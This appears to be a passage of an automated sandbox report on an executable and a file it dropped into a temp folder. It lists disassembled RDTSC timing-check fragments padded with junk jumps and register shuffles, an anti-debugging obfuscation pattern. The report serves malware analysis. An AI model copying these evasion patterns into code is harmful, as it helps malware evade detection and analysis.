Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 58006F7 second address: 5800835 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BC5023B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FC22CD50135h 0x0000000f jmp 00007FC1BC5023AEh 0x00000014 mov ebx, dword ptr [ebp+08h] 0x00000017 pushad 0x00000018 call 00007FC1BC5023AEh 0x0000001d mov ax, B9E1h 0x00000021 pop esi 0x00000022 pushfd 0x00000023 jmp 00007FC1BC5023B7h 0x00000028 sub esi, 6A2DA98Eh 0x0000002e jmp 00007FC1BC5023B9h 0x00000033 popfd 0x00000034 popad 0x00000035 lea eax, dword ptr [ebp-2Ch] 0x00000038 pushad 0x00000039 call 00007FC1BC5023B8h 0x0000003e pop ecx 0x0000003f popad 0x00000040 push esi 0x00000041 jmp 00007FC1BC5023AAh 0x00000046 mov dword ptr [esp], esi 0x00000049 jmp 00007FC1BC5023B0h 0x0000004e nop 0x0000004f jmp 00007FC1BC5023B0h 0x00000054 push eax 0x00000055 pushad 0x00000056 pushfd 0x00000057 jmp 00007FC1BC5023B1h 0x0000005c xor ch, 00000036h 0x0000005f jmp 00007FC1BC5023B1h 0x00000064 popfd 0x00000065 popad 0x00000066 nop 0x00000067 jmp 00007FC1BC5023ADh 0x0000006c xchg eax, ebx 0x0000006d jmp 00007FC1BC5023AEh 0x00000072 push eax 0x00000073 pushad 0x00000074 pushad 0x00000075 pushfd 0x00000076 jmp 00007FC1BC5023B7h 0x0000007b jmp 00007FC1BC5023B3h 0x00000080 popfd 0x00000081 push eax 0x00000082 push edx 0x00000083 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5800835 second address: 5800871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushfd 0x00000007 jmp 00007FC1BCECC585h 0x0000000c sub si, EE06h 0x00000011 jmp 00007FC1BCECC581h 0x00000016 popfd 0x00000017 pop esi 0x00000018 popad 0x00000019 xchg eax, ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov ebx, eax 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5800871 second address: 5800881 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC1BC5023ACh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5800881 second address: 5800885 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 580089F second address: 58008D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 pushfd 0x00000006 jmp 00007FC1BC5023ADh 0x0000000b sub ax, 3776h 0x00000010 jmp 00007FC1BC5023B1h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov esi, eax 0x0000001b pushad 0x0000001c mov dl, ch 0x0000001e push eax 0x0000001f push edx 0x00000020 mov ch, dh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 58008D5 second address: 580001D instructions: 0x00000000 rdtsc 0x00000002 mov ax, 4757h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 test esi, esi 0x0000000b jmp 00007FC1BCECC57Ah 0x00000010 je 00007FC22D71A2E1h 0x00000016 xor eax, eax 0x00000018 jmp 00007FC1BCEA5CAAh 0x0000001d pop esi 0x0000001e pop edi 0x0000001f pop ebx 0x00000020 leave 0x00000021 retn 0004h 0x00000024 nop 0x00000025 sub esp, 04h 0x00000028 mov esi, eax 0x0000002a cmp esi, 00000000h 0x0000002d setne al 0x00000030 xor ebx, ebx 0x00000032 test al, 01h 0x00000034 jne 00007FC1BCECC577h 0x00000036 jmp 00007FC1BCECC6DEh 0x0000003b call 00007FC1C17EF890h 0x00000040 mov edi, edi 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007FC1BCECC589h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5800BE4 second address: 5800C60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ebx 0x00000008 jmp 00007FC1BC5023B6h 0x0000000d mov dword ptr [esp], ebp 0x00000010 pushad 0x00000011 mov bx, cx 0x00000014 mov ah, 1Eh 0x00000016 popad 0x00000017 mov ebp, esp 0x00000019 pushad 0x0000001a mov si, di 0x0000001d pushfd 0x0000001e jmp 00007FC1BC5023B7h 0x00000023 xor si, B39Eh 0x00000028 jmp 00007FC1BC5023B9h 0x0000002d popfd 0x0000002e popad 0x0000002f cmp dword ptr [760A459Ch], 05h 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007FC1BC5023ADh 0x0000003d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5800C60 second address: 5800C70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC1BCECC57Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5810BE4 second address: 5810C22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 mov esi, ebx 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a mov ch, E1h 0x0000000c push ebx 0x0000000d mov ecx, 630F1FE7h 0x00000012 pop eax 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 jmp 00007FC1BC5023B3h 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FC1BC5023B0h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5810C22 second address: 5810C28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5810C28 second address: 5810C2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5810C2E second address: 5810C53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BCECC588h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov cl, bh 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5810C53 second address: 5810C9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007FC1BC5023AEh 0x0000000b adc ah, 00000038h 0x0000000e jmp 00007FC1BC5023ABh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 jmp 00007FC1BC5023B9h 0x0000001d xchg eax, esi 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5810C9A second address: 5810C9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5810C9E second address: 5810CA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5810CA2 second address: 5810CA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5810CA8 second address: 5810D25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC1BC5023B0h 0x00000009 add eax, 192D0BF8h 0x0000000f jmp 00007FC1BC5023ABh 0x00000014 popfd 0x00000015 jmp 00007FC1BC5023B8h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov esi, dword ptr [ebp+0Ch] 0x00000020 jmp 00007FC1BC5023B0h 0x00000025 test esi, esi 0x00000027 jmp 00007FC1BC5023B0h 0x0000002c je 00007FC22CD2FA4Fh 0x00000032 pushad 0x00000033 call 00007FC1BC5023AEh 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5810E03 second address: 5810E20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BCECC589h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: C63158 second address: C63166 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: C63166 second address: C6316B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DD9907 second address: DD990D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DD990D second address: DD9917 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DD9917 second address: DD991C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DD991C second address: DD9921 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DD9921 second address: DD995A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC1BC5023B2h 0x00000009 popad 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop edx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007FC1BC5023B4h 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DD995A second address: DD9968 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FC1BCECC57Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DD9968 second address: DD996C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DD889A second address: DD88A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DD8A23 second address: DD8A45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BC5023AFh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FC1BC5023ADh 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DD8BA6 second address: DD8BAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DD8FBD second address: DD8FC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DD8FC5 second address: DD8FD7 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC1BCECC576h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DD8FD7 second address: DD8FDD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DD915B second address: DD915F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DDBFEC second address: DDC03B instructions: 0x00000000 rdtsc 0x00000002 jg 00007FC1BC5023ACh 0x00000008 jc 00007FC1BC5023A6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jmp 00007FC1BC5023ABh 0x00000016 nop 0x00000017 jo 00007FC1BC5023BCh 0x0000001d jnc 00007FC1BC5023B6h 0x00000023 push 00000000h 0x00000025 mov dword ptr [ebp+122D2760h], edi 0x0000002b push E979F2EBh 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 jp 00007FC1BC5023A6h 0x00000039 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DDC03B second address: DDC05F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC1BCECC576h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC1BCECC588h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DDC05F second address: DDC0DA instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC1BC5023A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b add dword ptr [esp], 16860D95h 0x00000012 mov edx, dword ptr [ebp+122D35CDh] 0x00000018 mov dh, F6h 0x0000001a push 00000003h 0x0000001c push 00000000h 0x0000001e push ecx 0x0000001f call 00007FC1BC5023A8h 0x00000024 pop ecx 0x00000025 mov dword ptr [esp+04h], ecx 0x00000029 add dword ptr [esp+04h], 00000018h 0x00000031 inc ecx 0x00000032 push ecx 0x00000033 ret 0x00000034 pop ecx 0x00000035 ret 0x00000036 mov cx, 5B0Bh 0x0000003a jmp 00007FC1BC5023B9h 0x0000003f push 00000000h 0x00000041 jmp 00007FC1BC5023B2h 0x00000046 push 00000003h 0x00000048 movzx ecx, cx 0x0000004b push EE91394Ah 0x00000050 pushad 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DDC189 second address: DDC230 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BCECC57Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jnl 00007FC1BCECC592h 0x00000011 nop 0x00000012 mov dword ptr [ebp+122D1911h], esi 0x00000018 push 00000000h 0x0000001a mov edx, dword ptr [ebp+122D3755h] 0x00000020 cmc 0x00000021 push A75CA764h 0x00000026 pushad 0x00000027 pushad 0x00000028 jmp 00007FC1BCECC583h 0x0000002d jno 00007FC1BCECC576h 0x00000033 popad 0x00000034 jng 00007FC1BCECC578h 0x0000003a pushad 0x0000003b popad 0x0000003c popad 0x0000003d add dword ptr [esp], 58A3591Ch 0x00000044 ja 00007FC1BCECC576h 0x0000004a push 00000003h 0x0000004c mov esi, edx 0x0000004e push 00000000h 0x00000050 jmp 00007FC1BCECC580h 0x00000055 push 00000003h 0x00000057 mov ecx, dword ptr [ebp+122D3685h] 0x0000005d push DC5C60C1h 0x00000062 push eax 0x00000063 pushad 0x00000064 jno 00007FC1BCECC576h 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DDC230 second address: DDC26F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 xor dword ptr [esp], 1C5C60C1h 0x0000000d call 00007FC1BC5023B8h 0x00000012 sub ecx, dword ptr [ebp+122D3815h] 0x00000018 pop edx 0x00000019 mov cl, 28h 0x0000001b lea ebx, dword ptr [ebp+1244CF0Dh] 0x00000021 movzx edx, cx 0x00000024 xchg eax, ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 push edx 0x00000029 pop edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DDC26F second address: DDC274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DDC302 second address: DDC306 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DDC306 second address: DDC30C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DDC30C second address: DDC383 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC1BC5023B7h 0x00000008 ja 00007FC1BC5023A6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 add dword ptr [esp], 2E67EE71h 0x00000018 movsx esi, cx 0x0000001b push 00000003h 0x0000001d push 00000000h 0x0000001f push edx 0x00000020 call 00007FC1BC5023A8h 0x00000025 pop edx 0x00000026 mov dword ptr [esp+04h], edx 0x0000002a add dword ptr [esp+04h], 00000016h 0x00000032 inc edx 0x00000033 push edx 0x00000034 ret 0x00000035 pop edx 0x00000036 ret 0x00000037 xor dword ptr [ebp+122D1900h], esi 0x0000003d push 00000000h 0x0000003f push eax 0x00000040 mov di, 2260h 0x00000044 pop edx 0x00000045 push 00000003h 0x00000047 mov esi, dword ptr [ebp+122D58E0h] 0x0000004d mov edi, 72025C54h 0x00000052 push C33A7EF1h 0x00000057 push eax 0x00000058 push edx 0x00000059 jnp 00007FC1BC5023A8h 0x0000005f pushad 0x00000060 popad 0x00000061 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DFBBD3 second address: DFBC07 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC1BCECC582h 0x00000008 jmp 00007FC1BCECC589h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DFBD96 second address: DFBDAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FC1BC5023A6h 0x00000009 jmp 00007FC1BC5023ABh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DFBDAC second address: DFBDC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FC1BCECC576h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jnc 00007FC1BCECC576h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DFBDC5 second address: DFBDCD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DFBF5E second address: DFBF62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DFBF62 second address: DFBF68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DFC239 second address: DFC246 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DFC3BD second address: DFC3D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FC1BC5023ADh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DFC3D1 second address: DFC3DB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC1BCECC57Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DFC532 second address: DFC577 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BC5023B5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007FC1BC5023BBh 0x00000011 pushad 0x00000012 jl 00007FC1BC5023A6h 0x00000018 jl 00007FC1BC5023A6h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DFC577 second address: DFC57C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DFC57C second address: DFC581 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DFC581 second address: DFC587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DFC99C second address: DFC9A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DFC9A6 second address: DFC9BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push ebx 0x00000008 jne 00007FC1BCECC576h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pop ebx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DFC9BA second address: DFC9CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FC1BC5023A6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DFC9CC second address: DFC9D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DFCB3E second address: DFCB42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DFCB42 second address: DFCB48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DFCF32 second address: DFCF36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DFCF36 second address: DFCF3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DFCF3A second address: DFCF40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DFD541 second address: DFD55F instructions: 0x00000000 rdtsc 0x00000002 js 00007FC1BCECC590h 0x00000008 jmp 00007FC1BCECC584h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E02DC8 second address: E02DCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E02FDE second address: E02FF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BCECC57Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E02FF0 second address: E03019 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC1BC5023B6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jl 00007FC1BC5023A8h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
